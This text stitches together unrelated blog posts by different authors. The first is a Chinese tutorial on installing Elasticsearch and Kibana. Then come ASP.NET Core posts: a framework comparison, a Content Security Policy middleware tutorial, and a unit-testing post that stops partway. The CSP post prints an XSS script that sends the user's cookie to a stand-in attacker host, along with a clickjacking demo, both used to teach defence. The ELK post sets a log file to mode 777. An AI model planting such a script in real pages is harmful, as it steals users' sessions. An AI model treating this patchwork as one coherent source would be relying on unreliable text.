ELK 架构之 Elasticsearch 和 Kibana 安装配置

阅读目录:

  • 1. ELK Stack 简介
  • 2. 环境准备
  • 3. 安装 Elasticsearch
  • 4. 安装 Kibana
  • 5. Kibana 使用
  • 6. Elasticsearch 命令

最近在开发分布式服务追踪,使用 Spring Cloud Sleuth Zipkin + Stream + RabbitMQ 中间件,默认使用内存存储数据,但这样应用于生产环境,就不太合适了。

最终我采用的方案:服务追踪数据使用 RabbitMQ 进行采集 + 数据存储使用 Elasticsearch + 数据展示使用 Kibana

这篇文章主要记录 Elasticsearch 和 Kibana 环境的配置,以及采集服务追踪数据的显出处理。

1. ELK Stack 简介

ELK 是三个开源软件的缩写,分别为:Elasticsearch、Logstash 以及 Kibana,它们都是开源软件。不过现在还新增了一个 Beats,它是一个轻量级的日志收集处理工具(Agent),Beats 占用资源少,适合于在各个服务器上搜集日志后传输给 Logstash,官方也推荐此工具,目前由于原本的 ELK Stack 成员中加入了 Beats 工具所以已改名为 Elastic Stack。

根据 Google Trend 的信息显示,Elastic Stack 已经成为目前最流行的集中式日志解决方案。

Elastic Stack 包含:

  • Elasticsearch 是个开源分布式搜索引擎,提供搜集、分析、存储数据三大功能。它的特点有:分布式,零配置,自动发现,索引自动分片,索引副本机制,restful 风格接口,多数据源,自动搜索负载等。详细可参考 Elasticsearch 权威指南
  • Logstash 主要是用来日志的搜集、分析、过滤日志的工具,支持大量的数据获取方式。一般工作方式为 c/s 架构,client 端安装在需要收集日志的主机上,server 端负责将收到的各节点日志进行过滤、修改等操作在一并发往 Elasticsearch 上去。
  • Kibana 也是一个开源和免费的工具,Kibana 可以为 Logstash 和 ElasticSearch 提供的日志分析友好的 Web 界面,可以帮助汇总、分析和搜索重要数据日志。
  • Beats 在这里是一个轻量级日志采集器,其实 Beats 家族有 6 个成员,早期的 ELK 架构中使用 Logstash 收集、解析日志,但是 Logstash 对内存、cpu、io 等资源消耗比较高。相比 Logstash,Beats 所占系统的 CPU 和内存几乎可以忽略不计。

ELK Stack (5.0版本之后)–> Elastic Stack == (ELK Stack + Beats)。

目前 Beats 包含六种工具:

  • Packetbeat: 网络数据(收集网络流量数据)
  • Metricbeat: 指标(收集系统、进程和文件系统级别的 CPU 和内存使用情况等数据)
  • Filebeat: 日志文件(收集文件数据)
  • Winlogbeat: windows 事件日志(收集 Windows 事件日志数据)
  • Auditbeat:审计数据(收集审计日志)
  • Heartbeat:运行时间监控(收集系统运行时的数据)

ELK 简单架构图:

2. 环境准备

服务器环境:Centos 7.0(目前单机,后续再部署集群)

Elasticsearch 和 Logstash 需要 Java 环境,Elasticsearch 推荐的版本为 Java 8,安装教程:确定稳定的 Spring Cloud 相关环境版本

另外,我们需要修改下服务器主机信息:

[root@node1 ~]# vi /etc/hostname
node1

[root@node1 ~]# vi /etc/hosts
192.168.0.11 node1
127.0.0.1   node1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         node1 localhost localhost.localdomain localhost6 localhost6.localdomain6

注意:我之前安装 Elasticsearch 和 Kibana 都是最新版本(6.x),但和 Spring Cloud 集成有些问题,所以就采用了 5.x 版本(具体 5.6.9 版本)

3. 安装 Elasticsearch

运行以下命令将 Elasticsearch 公共 GPG 密钥导入 rpm:

[root@node1 ~]# rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch

/etc/yum.repos.d/目录中,创建一个名为elasticsearch.repo的文件,添加下面配置:

[elasticsearch-5.x]
name=Elasticsearch repository for 5.x packages
baseurl=https://artifacts.elastic.co/packages/5.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md

Elasticsearch 源创建完成之后,通过 makecache 查看源是否可用,然后通过 yum 安装 Elasticsearch:

[root@node1 ~]# yum makecache && yum install elasticsearch -y

修改配置(启动地址和端口):

[root@node1 ~]# vi /etc/elasticsearch/elasticsearch.yml
network.host: node1  # 默认localhost,自定义为ip
http.port: 9200

要将 Elasticsearch 配置为在系统引导时自动启动,运行以下命令:

[root@node1 ~]# sudo /bin/systemctl daemon-reload
[root@node1 ~]# sudo /bin/systemctl enable elasticsearch.service

Elasticsearch 可以按如下方式启动和停止:

[root@node1 ~]# sudo systemctl start elasticsearch.service
[root@node1 ~]# sudo systemctl stop elasticsearch.service

列出 Elasticsearch 服务的日志:

[root@node1 ~]# sudo journalctl --unit elasticsearch
-- Logs begin at 三 2018-05-09 10:13:46 CEST, end at 三 2018-05-09 10:53:53 CEST. --
5月 09 10:53:43 node1 systemd[1]: [/usr/lib/systemd/system/elasticsearch.service:8] Unknown lvalue 'RuntimeDirectory' in section 'Service'
5月 09 10:53:43 node1 systemd[1]: [/usr/lib/systemd/system/elasticsearch.service:8] Unknown lvalue 'RuntimeDirectory' in section 'Service'
5月 09 10:53:48 node1 systemd[1]: Starting Elasticsearch...
5月 09 10:53:48 node1 systemd[1]: Started Elasticsearch.
5月 09 10:53:48 node1 elasticsearch[2908]: which: no java in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin)
5月 09 10:53:48 node1 elasticsearch[2908]: could not find java; set JAVA_HOME or ensure java is in PATH
5月 09 10:53:48 node1 systemd[1]: elasticsearch.service: main process exited, code=exited, status=1/FAILURE
5月 09 10:53:48 node1 systemd[1]: Unit elasticsearch.service entered failed state.

出现了错误,具体信息是未找到JAVA_HOME环境变量,但我们明明已经配置过了。

解决方式(参考资料:https://segmentfault.com/q/1010000004715131):

[root@node1 ~]# vi /etc/sysconfig/elasticsearch
JAVA_HOME=/usr/local/java

重新启动:

sudo systemctl restart elasticsearch.service

或者通过systemctl命令,查看 Elasticsearch 启动状态:

[root@node1 ~]# systemctl status elasticsearch.service
elasticsearch.service - Elasticsearch
   Loaded: loaded (/usr/lib/systemd/system/elasticsearch.service; enabled)
   Active: active (running) since 一 2018-05-14 05:13:45 CEST; 4h 5min ago
     Docs: http://www.elastic.co
  Process: 951 ExecStartPre=/usr/share/elasticsearch/bin/elasticsearch-systemd-pre-exec (code=exited, status=0/SUCCESS)
 Main PID: 953 (java)
   CGroup: /system.slice/elasticsearch.service
           └─953 /usr/local/java/bin/java -Xms2g -Xmx2g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingO...

5月 14 05:13:45 node1 systemd[1]: Started Elasticsearch.

发现 Elasticsearch 已经成功启动。

查看 Elasticsearch 信息:

[root@node1 ~]# curl -XGET 'http://node1:9200/?pretty'
{
  "name" : "AKmrtMm",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "r7lG3UBXQ-uTLHInJxbOJA",
  "version" : {
    "number" : "5.6.9",
    "build_hash" : "877a590",
    "build_date" : "2018-04-12T16:25:14.838Z",
    "build_snapshot" : false,
    "lucene_version" : "6.6.1"
  },
  "tagline" : "You Know, for Search"
}

4. 安装 Kibana

运行以下命令将 Elasticsearch 公共 GPG 密钥导入 rpm:

[root@node1 ~]# rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch

/etc/yum.repos.d/目录中,创建一个名为kibana.repo的文件,添加下面配置:

[kibana-5.x]
name=Kibana repository for 5.x packages
baseurl=https://artifacts.elastic.co/packages/5.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md

安装 Kibana:

[root@node1 ~]# yum makecache && yum install kibana -y

修改配置(地址和端口,以及 Elasticsearch 的地址,注意server.host只能填写服务器的 IP 地址):

[root@node1 ~]# vi /etc/kibana/kibana.yml

# Kibana is served by a back end server. This setting specifies the port to use.
server.port: 5601

# Specifies the address to which the Kibana server will bind. IP addresses and host names are both valid values.
# The default is 'localhost', which usually means remote machines will not be able to connect.
# To allow connections from remote users, set this parameter to a non-loopback address.
server.host: "192.168.0.11"

# The Kibana server's name.  This is used for display purposes.
server.name: "kibana-server"

# The URL of the Elasticsearch instance to use for all your queries.
elasticsearch.url: "http://node1:9200"

# 配置kibana的日志文件路径,不然默认是messages里记录日志
logging.dest: /var/log/kibana.log 

创建日志文件:

[root@node1 ~]# touch /var/log/kibana.log; chmod 777 /var/log/kibana.log

要将 Kibana 配置为在系统引导时自动启动,运行以下命令:

[root@node1 ~]# sudo /bin/systemctl daemon-reload
[root@node1 ~]# sudo /bin/systemctl enable kibana.service

Kibana 可以如下启动和停止

[root@node1 ~]# sudo systemctl start kibana.service
[root@node1 ~]# sudo systemctl stop kibana.service

查看启动日志:

[root@node1 ~]# sudo journalctl --unit kibana
5月 09 11:14:48 node1 systemd[1]: Starting Kibana...
5月 09 11:14:48 node1 systemd[1]: Started Kibana.

然后浏览器访问:http://node1:5601

初次使用时,会让你配置一个默认的 index,也就是你至少需要关联一个 Elasticsearch 里的 Index,可以使用 pattern 正则匹配。

注意:如果 Elasticsearch 中没有数据的话,你是无法创建 Index 的。

如果 Spring Cloud Sleuth Zipkin + Stream + RabbitMQ 配置正确的话(以后再详细说明),服务追踪的数据就已经存储在 Elasticsearch 中了。

5. Kibana 使用

创建zipkin:*索引(*匹配后面所有字符):

然后就可以查看服务追踪的数据了:

也可以创建自定义仪表盘:

6. Elasticsearch 命令

创建索引:

$ curl -XPUT 'http://node1:9200/twitter'

查看 Index 索引列表:

$ curl -XGET http://node1:9200/_cat/indices
yellow open twitter k1KnzWyYRDeckjt7GASh8w 5 1 1 0 5.1kb 5.1kb
yellow open .kibana 8zJGQkq8TwC4s3JJLMX44g 1 1 1 0   4kb   4kb
yellow open student iZPqPcwrQbifGOfE9DQYvg 5 1 0 0  955b  955b

添加 Document 数据:

$ curl -XPUT 'http://node1:9200/twitter/tweet/1' -d '{
    "user" : "kimchy",
    "post_date" : "2009-11-15T14:12:12",
    "message" : "trying out Elastic Search"
}'

获取 Document 数据:

$ curl -XGET 'http://node1:9200/twitter/tweet/1'
{"_index":"twitter","_type":"tweet","_id":"1","_version":1,"found":true,"_source":{
    "user" : "kimchy",
    "post_date" : "2009-11-15T14:12:12",
    "message" : "trying out Elastic Search"
}}%

查询zipkin索引下面的数据:

$ curl -XGET 'http://node1:9200/zipkin:*/_search'

参考资料:

作者:田园里的蟋蟀
微信公众号:你好架构
出处:http://www.cnblogs.com/xishuai/
公众号会不定时的分享有关架构的方方面面,包含并不局限于:Microservices(微服务)、Service Mesh(服务网格)、DDD/TDD、Spring Cloud、Dubbo、Service Fabric、Linkerd、Envoy、Istio、Conduit、Kubernetes、Docker、MacOS/Linux、Java、.NET Core/ASP.NET Core、Redis、RabbitMQ、MongoDB、GitLab、CI/CD(持续集成/持续部署)、DevOps等等。
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。

[鐵人賽 End] ASP.NET Core vs ASP.NET MVC

ASP.NET Core 2 系列文的結尾想了好幾個,也換過好幾次主題。最終還是決定用,常被問到的問題來做總結。

『ASP.NET Core vs ASP.NET MVC 如何選擇?』

本篇簡單整理了一些資訊,粗略分享 ASP.NET Core 及 ASP.NET MVC 的優劣比較。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[End] ASP.NET Core 2 系列 – ASP.NET Core vs ASP.NET MVC

先用下表簡單的歸納各方訊息的結果:

特性 ASP.NET Core ASP.NET MVC
穩定性
文件資源
技術資源
套件支援
跨平台 Host
高效能
微服務
Docker 支援
持續更新

很明顯 ASP.NET Core 是具有未來競爭的優勢,但很多人在意的是現階段穩定性這點,因此不敢貿然使用在正式產品。

其實 ASP.NET Core 的穩定性並沒有這麼可怕,ASP.NET Core 都已經是 Open Source 了,真的遇到有問題的地方,可以直接 Checkout 下來 Debug,我自己就幹過好幾次這樣的事。Open Source 的社群力量再加上微軟強力支持,相信在短時間就能追上 ASP.NET MVC 的穩定程度。

所以這個問題,『ASP.NET Core vs ASP.NET MVC 如何選擇?』,我會這樣回答:

  • 喜歡(願意)嘗試新技術的團隊(人)。
    不要再考慮了!選擇 ASP.NET Core 吧!
  • 有足夠能力解決技術問題的團隊(人)。
    所有的 Bug 都在那裡了!去挑戰 ASP.NET Core 吧!
  • 現有系統使用 ASP.NET MVC 的團隊(人)。
    換技術不會賺比較多錢!不要沒事找事做!繼續用 ASP.NET MVC 吧!
  • 想玩 .NET Solution 微服務或 Docker 的團隊(人)。
    ASP.NET MVC 根本不在同個量級!選擇 ASP.NET Core 吧!
    (什麼 P 比雞腿的概念)
  • 想要快速開發出產品,但團隊只熟悉 ASP.NET MVC。
    趕快來閱讀 ASP.NET Core 從入門到實用 系列,然後選擇 ASP.NET Core 吧!XD

最後,ASP.NET Core 很難用 30 篇文章介紹完,但此系列文應該都有把基礎功能介紹到。
進階的部分就建議動手做,親手體驗 ASP.NET Core 的特性。

致謝

感謝老婆一挑三照顧三個小孩,讓我晚上可以安靜的寫文章。
感謝隊長Blackie力邀參加鐵人賽,在隊長英明領導的帶領之下,總算全員完賽!
感謝隊友Claire盡心參與,一同完成賽事。
感謝各位讀者願意看,如有介紹不夠詳細或看不懂的部分,請多多指教。

推薦

iT 邦幫忙 2018 鐵人賽,隊友的系列文一定要支持一下:

參考

Choosing between .NET Core and .NET Framework for server apps
ASP.NET Or ASP.NET Core, What To Choose?
.NET Core vs .NET Framework: How to Pick a .NET Runtime for an Application
C# .NET Core programs versus Java

[鐵人賽 Day27] ASP.NET Core 2 系列 – 網頁內容安全政策 (Content Security Policy)

跨網站腳本 (Cross-Site Scripting, XSS) 攻擊是常見的攻擊手法,有效的阻擋方式是透過網頁內容安全政策 (Content Security Policy, CSP) 規範,告知瀏覽器發出的 Request 位置是否受信任,阻擋非預期的對外連線,加強網站安全性。
本篇將介紹 ASP.NET Core 自製 CSP Middleware 防止 XSS 攻擊。
另外,做範例的過程中,剛好發現 iT 邦幫忙 沒有擋 Clickjacking,所以就順便補充。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day27] ASP.NET Core 2 系列 – 網頁內容安全政策 (Content Security Policy)

XSS 介紹

攻擊者可能透過任何形式的漏洞,在網站中安插惡意的程式碼,例如:

1
2
3
4
5
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "https://attacker.johnwu.cc?cookie="+document.cookie);
    req.send();
</script>

當使用者開啟頁面,Cookie 就被送走了。情境如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - XSS 介紹

CSP 介紹

CSP 是瀏覽器提供網站設定白名單的機制,網站可以告知瀏覽器,該網頁有哪些位置可以連、哪些位置不能連。現行大部分的瀏覽器都有支援 CSP,可以從 Can I use Content Security Policy 查看支援的瀏覽器及版本。

CSP 的設定方式有兩種:

  1. HTTP Header 加入 Content-Security-Policy: {Policy}
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 並終止該行為執行
  2. HTTP Header 加入 Content-Security-Policy-Report-Only: {Policy}
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 但會繼續執行 。

    主要用於測試用,怕網站直接套上 CSP 導致功能不正常。

  3. HTML 加入 <meta>
    在 HTML <head> 區塊加入 <meta http-equiv="Content-Security-Policy" content="{Policy}">
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 並終止該行為執行

    <meta> 的方式不支援 Report-Only 的方式。

CSP 範例

建立一個簡單的範例 HTML,分別載入內外部資源,如下:

Views/Home/Index.cshtml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html>

<head>
    <meta name="viewport" content="width=device-width" />
    <title>CSP Sample</title>

    <link rel="stylesheet" href="/css/fonts.css?csp-sample" />
    <link rel="stylesheet" href="https://blog.johnwu.cc/css/fonts.css?csp-sample" />
</head>

<body>
    <h1>CSP Sample</h1>
    <table>
        <tr>
            <th>類別</th>
            <th>內部資源</th>
            <th>外部資源</th>
        </tr>
        <tr>
            <td>圖片</td>
            <td>
                <img width="100" src="/images/icon.png?csp-sample" />
            </td>
            <td>
                <img width="100" src="https://blog.johnwu.cc/images/icon.png?csp-sample" />
            </td>
        </tr>
        <tr>
            <td>IFrame</td>
            <td>
                <iframe width="180" height="180" src="/home/iframe?csp-sample"></iframe>
            </td>
            <td>
                <iframe width="180" height="180" src="https://ithelp.ithome.com.tw?csp-sample"></iframe>
            </td>
        </tr>
    </table>
    <script src="/js/jquery-2.2.4.min.js?csp-sample"></script>
    <script src="https://blog.johnwu.cc/js/lib/jquery-2.2.4.min.js?csp-sample"></script>
</body>

</html>

在未使用 CSP 前,內容都是可以正常顯示,輸出畫面如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 未使用 CSP 範例

在 Startup.Configure 註冊一個 Pipeline,把每個 Requset 都加上 CSP 的 HTTP Header,如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddMvc();
        }

        public void Configure(IApplicationBuilder app)
        {
            app.Use(async (context, next) =>
            {
                context.Response.Headers.Add(
                    "Content-Security-Policy",
                    "style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
                );
                await next();
            });
            app.UseStaticFiles();
            app.UseMvcWithDefaultRoute();
        }
    }
}

套用 CSP 後,輸出畫面如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 使用 CSP 範例

CSP 指令 (Directives)

上圖套用 CSP 後,連內部的 IFrame 都不顯示,主要是因為 CSP 指令的關係。
CSP 指令可以限制發出 Request 獲取資源的類型以及位置,指令的使用格式如下:

1
2
Response Headers
  Content-Security-Policy: {CSP 指令} {位置}; {CSP 指令} {位置} {..位置..} {位置};

以 ; 區分多個指令,以空格區分多個白名單位置。

常用的 CSP 指令如下:

  • default-src
    預設所有類型的載入都使用這個規則。
  • connect-src
    載入 Ajax、Web Socket 套用的規則。
  • font-src
    載入字型套用的規則。
  • frame-src
    載入 IFrame 套用的規則。
  • img-src
    載入圖片套用的規則。
  • media-src
    載入影音標籤套用的規則。如:<audio><video>等。
  • object-src
    載入非影音標籤物件套用的規則。如:<object><embed><applet>等。
  • script-src
    載入 JavaScript 套用的規則。
  • style-src
    載入 Stylesheets (CSS) 套用的規則。
  • report-uri
    當瀏覽器發現 CSP 安全性問題時,就會提報錯誤給 report-uri 指定的網址。
    若使用 Content-Security-Policy-Report-Only 就需要搭配 report-uri

    強烈建議使用回報功能,當被 XSS 攻擊時才會知道。

其他 CSP 指令可以參考 W3C 的 CSP 規範

每個 CSP 指令可以限制一個或多個能發出 Request 的位置,設定參數如下:

  • *
    允許對任何位置發出 Request。
    如:default-src *;,允許載入來自任何地方、任何類型的資源。
  • 'none'
    不允許對任何位置發出 Request。
    如:media-src 'none';,不允許載入影音標籤。
  • 'self' 只允許同網域的位置發出 Request。
    如:script-src 'self';,只允許載入同網域的 *.js
  • URL
    指定允許發出 Request 的位置,可搭配 * 使用。
    如:img-src http://cdn.johnwu.cc https:;,只允許從 http://cdn.johnwu.cc 或其他 HTTPS 的位置載入 *.css

建立 CSP Middleware

上述 CSP 套用在 Header 的格式實在很容易打錯字,而且又是弱型別,日後實在不易維護。
所以可以自製一個 CSP Middleware 來包裝這 CSP,方便日後使用。

把 CSP 指令都變成強行別,如下:

  • CspDirective.cs
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    public class CspDirective
    {
        private readonly string _directive;
    
        internal CspDirective(string directive)
        {
            _directive = directive;
        }
        private List<string> _sources { get; set; } = new List<string>();
        public virtual CspDirective AllowAny() => Allow("*");
        public virtual CspDirective Disallow() => Allow("'none'");
        public virtual CspDirective AllowSelf() => Allow("'self'");
        public virtual CspDirective Allow(string source)
        {
            _sources.Add(source);
            return this;
        }
        public override string ToString() => _sources.Count > 0
            ? $"{_directive} {string.Join(" ", _sources)}; " : "";
    }
  • CspOptions.cs
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public class CspOptions
    {
        public bool ReadOnly { get; set; }
        public CspDirective Defaults { get; set; } = new CspDirective("default-src");
        public CspDirective Connects { get; set; } = new CspDirective("connect-src");
        public CspDirective Fonts { get; set; } = new CspDirective("font-src");
        public CspDirective Frames { get; set; } = new CspDirective("frame-src");
        public CspDirective Images { get; set; } = new CspDirective("img-src");
        public CspDirective Media { get; set; } = new CspDirective("media-src");
        public CspDirective Objects { get; set; } = new CspDirective("object-src");
        public CspDirective Scripts { get; set; } = new CspDirective("script-src");
        public CspDirective Styles { get; set; } = new CspDirective("style-src");
        public string ReportURL { get; set; }
    }

然後建立 CSP 的 Middleware,如下:

CspMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class CspMiddleware
{
    private readonly RequestDelegate _next;
    private readonly CspOptions _options;

    public CspMiddleware(RequestDelegate next, CspOptions options)
    {
        _next = next;
        _options = options;
    }

    private string Header => _options.ReadOnly
        ? "Content-Security-Policy-Report-Only" : "Content-Security-Policy";

    private string HeaderValue
    {
        get 
        {
          var stringBuilder = new StringBuilder();
          stringBuilder.Append(_options.Defaults);
          stringBuilder.Append(_options.Connects);
          stringBuilder.Append(_options.Fonts);
          stringBuilder.Append(_options.Frames);
          stringBuilder.Append(_options.Images);
          stringBuilder.Append(_options.Media);
          stringBuilder.Append(_options.Objects);
          stringBuilder.Append(_options.Scripts);
          stringBuilder.Append(_options.Styles);
          if (!string.IsNullOrEmpty(_options.ReportURL))
          {
              stringBuilder.Append($"report-uri {_options.ReportURL};");
          }
          return stringBuilder.ToString();
        }
    }
    
    public async Task Invoke(HttpContext context)
    {
        context.Response.Headers.Add(Header, HeaderValue);
        await _next(context);
    }
}

再用一個靜態方法包 CSP Middleware,方便註冊使用,如下:

CspMiddlewareExtensions.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
public static class CspMiddlewareExtensions
{
    public static IApplicationBuilder UseCsp(this IApplicationBuilder app, CspOptions options)
    {
        return app.UseMiddleware<CspMiddleware>(options);
    }
    public static IApplicationBuilder UseCsp(this IApplicationBuilder app, Action<CspOptions> optionsDelegate)
    {
        var options = new CspOptions();
        optionsDelegate(options);
        return app.UseMiddleware<CspMiddleware>(options);
    }
}

把原本註冊在 Startup.Configure 的 Pipeline 改成用 UseCsp 註冊,如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddMvc();
        }

        public void Configure(IApplicationBuilder app)
        {
            // app.Use(async (context, next) =>
            // {
            //     context.Response.Headers.Add(
            //         "Content-Security-Policy",
            //         "style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
            //     );
            //     await next();
            // });
            app.UseCsp(options =>
            {
                options.Styles.Allow("https:");
                options.Images.AllowSelf();
                options.Frames.Disallow();
                options.Scripts.AllowSelf();
            });
            app.UseStaticFiles();
            app.UseMvcWithDefaultRoute();
        }
    }
}

一樣的 CSP 規則,強行別的註冊方式看起來感覺清爽多了。

Clickjacking 攻擊

Clickjacking 是一種透過 IFrame 的偽裝攻擊方式。
攻擊者可以透過嵌入被攻擊目標網頁,偽裝成目標網頁,進而攔截使用者的資料。如下圖:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

紅色框現內的 IFrame 用 iT 邦幫忙 的頁面,然後在 Main Frame 透過 JavaScript 攔截使用者的操作事件,範例程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<head>
    <meta name="viewport" content="width=device-width" />
    <title>Clickjacking Sample</title>
    <style>
        iframe {
            width: 98%;
            height: 75%;
        }

        .cover {
            position: absolute;
            top: 65px;
            width: 98%;
            height: 75%;
            background-color: rgba(255, 0, 0, .3);
        }
    </style>
    <script>
        var doSomething = function () {
            alert("你以為你在點誰?");
        };
    </script>
</head>

<body>
    <h1>Clickjacking Sample</h1>
    <div class="cover" onclick="doSomething();"></div>
    <iframe src="https://ithelp.ithome.com.tw/"></iframe>
</body>

</html>

當使用者以為點擊到被攻擊目標,實際上點到的是偽裝的網站,如圖:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

X-Frame-Options

Clickjacking 攻擊可以透過 CSP 的 frame-ancestors 防範,但似乎還不是所有瀏覽器都支援 frame-ancestors,較通用的方式是在 HTTP Header 加上 X-Frame-Options,通知瀏覽器該頁面是否能被當作 IFrame 使用。
延伸上面 CSP Middleware 的範例,建立一個 FrameOptionsDirective.cs 繼承 CspDirective,如下:

FrameOptionsDirective.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class FrameOptionsDirective : CspDirective
{
    public FrameOptionsDirective() : base("frame-ancestors")
    {

    }
    public string XFrameOptions { get; private set; }
    public override CspDirective AllowAny()
    {
        XFrameOptions = "";
        return base.AllowAny();
    }
    public override CspDirective Disallow()
    {
        XFrameOptions = "deny";
        return base.Disallow();
    }
    public override CspDirective AllowSelf()
    {
        XFrameOptions = "sameorigin";
        return base.AllowSelf();
    }
    public override CspDirective Allow(string source)
    {
        XFrameOptions = $"allow-from {source}";
        return base.Allow(source);
    }
}

CspOptions.cs

1
2
3
4
5
public class CspOptions
{
    // ...
    public FrameOptionsDirective FrameAncestors { get; set; } = new FrameOptionsDirective();
}

CspMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class CspMiddleware
{
    private string HeaderValue
    {
        get
        {
            // ...
            stringBuilder.Append(_options.FrameAncestors);
            return stringBuilder.ToString();
        }
    }

    public async Task Invoke(HttpContext context)
    {
        context.Response.Headers.Add(Header, HeaderValue);
        if (!string.IsNullOrEmpty(_options.FrameAncestors.XFrameOptions))
        {
            context.Response.Headers.Add("X-Frame-Options", _options.FrameAncestors.XFrameOptions);
        }
        await _next(context);
    }
}

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseCsp(options =>
        {
            // ...
            options.FrameAncestors.Allow("https://blog.johnwu.cc");
        });
        // ...
    }
}

X-Frame-Options 不支援多個網域,如果要設定多個網域,建議搭配著 CSP 的 frame-ancestors 使用。

設定完成後,當被未允許的 Domain 嵌入為 IFrame 頁面時,瀏覽器就提報錯誤。
把上面範例程式碼的 IFrame URL 改為 https://www.google.com.tw/
Google 有設定 X-Frame-Options 為 sameorigin ,所以會產生錯誤訊息,如下:

Refused to display ‘https://www.google.com.tw/‘ in a frame because it set ‘X-Frame-Options’ to ‘sameorigin’.

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - X-Frame-Options

參考

USING CSP HEADER IN ASP.NET CORE 2.0
Content Security Policy Level 3
Content-Security-Policy – HTTP Headers 的資安議題 (2)
[翻譯] 我是這樣拿走大家網站上的信用卡號跟密碼的(推薦閱讀)

[鐵人賽 Day25] ASP.NET Core 2 系列 – 單元測試 (NUnit)

.NET Core 的單元測試框架有支援 xUnit、NUnit 及 MSTest,官方是比較推薦用 xUnit,但 NUnit 似乎比較受 .NET 工程師歡迎,我個人也是比較愛用 NUnit。
本篇將介紹 ASP.NET Core 搭配 NUnit 單元測試框架及如何用 Visual Studio Code (VS Code) 呈現視覺化測試結果。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day25] ASP.NET Core 2 系列 – 單元測試 (NUnit)

建立方案

之前的範例都只有一個 Web 專案,由於要增加測試專案的關係,檔案的目錄結構建議異動成以下架構:

1
2
3
MyWebsite/                        # 方案資料夾
  MyWebsite/                      # Web 專案目錄
  MyWebsite.Tests/                # 單元測試專案目錄

若要透過 .NET Core CLI 建立 NUnit 樣板專案,需要先安裝 NUnit 的樣板專案,指令如下:

1
dotnet new --install NUnit3.DotNetNew.Template

跟著以下步驟建立整個方案:

1
2
3
4
5
6
mkdir MyWebsite
cd MyWebsite
# 建立 Web 樣板專案
dotnet new web --name MyWebsite
# 建立 NUnit 樣板專案
dotnet new nunit --name MyWebsite.Tests

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 建立方案

包含 Web 專案及 NUnit 專案的方案內容如下:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 方案內容

執行測試

NUnit 樣板專案會預帶一個 UnitTest1.cs 做為單元測試的範例,可以透過 .NET Core CLI 執行測試,指令如下:

1
2
# dotnet test <測試專案名稱>
dotnet test MyWebsite.Tests

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 執行測試

測試案例

被測試的目標以[鐵人賽 Day24] ASP.NET Core 2 系列 – Entity Framework Core文中的 Repository Pattern 的 Controllers/UserController.cs 做為範例。
由於測試專案 MyWebsite.Tests 會參考到 MyWebsite 專案,所以要在 MyWebsite.Tests 加入對 MyWebsite 的參考,透過 .NET Core CLI 加入參考的指令如下:

1
2
# dotnet add <專案名稱> reference <被參考專案的 csproj 檔>
dotnet add MyWebsite.Tests reference MyWebsite\MyWebsite.csproj

